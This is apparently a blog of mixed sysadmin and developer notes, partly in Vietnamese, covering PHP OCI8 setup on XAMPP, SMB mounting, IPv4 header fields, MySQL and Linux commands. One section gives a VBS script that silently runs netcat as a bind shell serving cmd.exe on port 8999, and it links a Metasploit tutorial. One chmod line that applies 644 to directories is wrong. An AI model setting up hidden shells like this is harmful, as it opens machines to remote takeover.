Enable php_oci8.dll on window

Because xampp does not have 64bit version for window
So, here is the solution to resolve some issues below:
1. Warning: PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - %1 is not a valid Win32 application.
2. PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - The specified module could not be found.

Solution: 
1. Download oracle instanceclient 32bit
http://www.oracle.com/technetwork/topics/winsoft-085727.html
(instantclient-basic-nt-12.1.0.2.0.zip)

2. Extract instantclient (Ex: D:\instantclient_12_1)

3. Configure Windows PATH environment variable, add more:
D:\xampp\php\ext;D:\instantclient_12_1

4. Configure php.ini, enable extension php_oci.dll
extension=php_oci8.dll       (remove ; character)
Note: check your oracleclient version (11g, 12c, ...), if cannot enable php_oci8, try to download files from here: http://windows.php.net/downloads/pecl/releases/oci8/2.0.8/php_oci8-2.0.8-5.6-ts-vc11-x86.zip
extract those files to xampp/php/ext/ folder, then restart apache again

5. Restart xampp or restart PC (if necessary)

6. Check again
C:\Users\namdt5>php -m | find "oci"
oci8

Done.


run a command without open a command window

Use notepad, create a file such as: test.vbs
Content of the file:

Set oShell = CreateObject ("Wscript.Shell") 

Dim strArgs
strArgs = "F:\programs\nc\nc.exe -nlvp 8999 -e cmd.exe"
oShell.Run strArgs, 0, false


Refer:
http://msdn.microsoft.com/en-us/library/d5fk67ky.aspx
http://superuser.com/questions/140047/how-to-run-a-batch-file-without-launching-a-command-window

http://www.k4linux.com/2015/08/kali-linux-20-tutorials-metasploit-first-run.html

Access windows shared folders from Linux

You’ll need the cifs-utils package in order to mount SMB shares:

     sudo apt-get install cifs-utils

After that, just make a directory and mount the share to it. In this example, we will mount the folder to our Desktop for easy access.

     mkdir /path/to/mount_folder
     sudo mount.cifs //IP_of_winPC/Share   /path/to/mount_folder  -o user=windowUser

Then enter password & enjoy :) 
     cd /path/to/mount_folder

IPv4 datagram structure


Note: 
1. Total Length

This 16-bit field defines the entire packet size, including header and data, in bytes. The minimum-length packet is 20 bytes (20-byte header + 0 bytes data) and the maximum is 65,535 bytes — the maximum value of a 16-bit word. All hosts are required to be able to reassemble datagrams of size up to 576 bytes, but most modern hosts handle much larger packets. Sometimes subnetworks impose further restrictions on the packet size, in which case datagrams must be fragmented. Fragmentation is handled in either the host or router in IPv4. 

2. Identification

This field is an identification field and is primarily used for uniquely identifying the group of fragments of a single IP datagram. Some experimental work has suggested using the ID field for other purposes, such as for adding packet-tracing information to help trace datagrams with spoofed source addresses,[11] but RFC 6864 now prohibits any such use. 

3. Flags

A three-bit field follows and is used to control or identify fragments. They are (in order, from high order to low order):
bit 0: Reserved; must be zero.[note 1]
bit 1: Don't Fragment (DF)
bit 2: More Fragments (MF)


Refer:


OSI model

Enterprise Architect - skill & experience

1. User (Role-Based) Security
User security is included in the Corporate, Business and Software Engineering, Systems Engineering and Ultimate editions. Trial users can enable user security on a project, by entering the following key: {C27378C8-6CD8-4efa-92F8-4E0E4F1A8B65}

Refer: http://www.sparxsystems.com/resources/corporate/

2. Create a project in Mysql DB
http://www.sparxsystems.com/enterprise_architect_user_guide/12/projects_and_teams/upsizingtomysql.html


Các lệnh quản lý Mysql - Mysql manager command

1. show big tables in a database

2. show slave status \G
3. Master
   show master status;
   reset master;    -- use to reset master

4. show table status;
5. show create database db_name;

6. Grant privileges:
Ex:
GRANT SELECT, INSERT, DELETE, UPDATE, INDEX, LOCK TABLES, CREATE, EXECUTE  ON db_name.* TO 'db_user'@'%' IDENTIFIED BY 'password';

7. Create random data base on a list values
update your_table_name set method = (SELECT ELT(0.5 + RAND() * 4, 'VALUE_1', 'VALUE_2', 'VALUE_3', 'VALUE_4') )

8. 

Một số lệnh thông dụng trong linux

1. Xóa toàn bộ các file .svn
  find . -name .svn -print0 | xargs -0 rm -rf
2. Xử lý với các file và thư mục trong thư mục hiện hành.
Ví dụ: chmod riêng folder hoặc file

find . -type d -print0 |xargs -0 chmod 755
find . -type f -print0 |xargs -0 chmod 644
hoặc
find . -type d | xargs chmod 644

3. Forward port thông qua ssh
sudo ssh -L 3308:IPserver:3306   user@IPserver

4. Grep: get 10 lines After ,  get 10 lines Before
cat file.txt | grep -A10 "test" | wc -l
cat file.txt | grep -B10 "test" | wc -l

Còn nữa..